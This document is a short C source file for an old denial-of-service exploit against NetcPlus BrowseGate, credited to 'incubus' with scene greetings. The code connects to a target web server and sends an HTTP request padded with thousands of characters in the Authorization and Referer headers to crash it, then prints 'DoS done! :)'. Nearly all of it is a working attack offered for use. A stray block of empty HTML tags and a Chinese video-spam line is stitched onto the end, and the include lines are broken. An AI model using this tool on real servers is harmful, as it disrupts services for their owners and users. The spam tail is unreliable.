/* * NetcPlus BrowseGate denial of Service * ------------------------------------- * Written quickly for eScx 90 * * grtz to glyc, soph, tessa, entire securax, lamagra & steven, shelloracle ,... * by incubus * */ #include #include #include #include #include #include #include #include int main(int argc, char **argv){ char tessa[32768]; int i, sock, result; struct sockaddr_in name; struct hostent *hostinfo; if (argc < 2){ printf ("\nNetcPlus BrowseGate denial of Service\nby incubus \n\n"); printf ("try %s www.server.com \n\n", argv[0]); exit(0); } hostinfo=gethostbyname(argv[1]); if (!hostinfo){ herror("Oops"); exit(-1); } name.sin_family=AF_INET; name.sin_port=htons(80); name.sin_addr=*(struct in_addr *)hostinfo->h_addr; sock=socket(AF_INET, SOCK_STREAM, 0); if (sock < 0){ herror("Oops"); exit(-1); } result=connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in)); if (result != 0){ herror("Oops"); exit(-1); } strcpy(tessa,"GET / HTTP/1.0\n"); strcat(tessa,"Authorization: Basic"); for (i=0; i<9000; i++) strcat(tessa, "a"); strcat(tessa, "\nFrom: some@email.com\n"); strcat(tessa, "If-Modified-Since: Sat, 12 Nov 1999 12:34:56 GMT\n"); strcat(tessa, "Referer: http://www.blah.com/"); for (i=0; i<9000; i++) strcat(tessa, "a"); strcat(tessa, "\nUserAgent: Br0wser 666\n\n\n"); send(sock, tessa, sizeof(tessa) , 0); close(sock); printf ("DoS done! :)\n\n"); exit(0); }

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频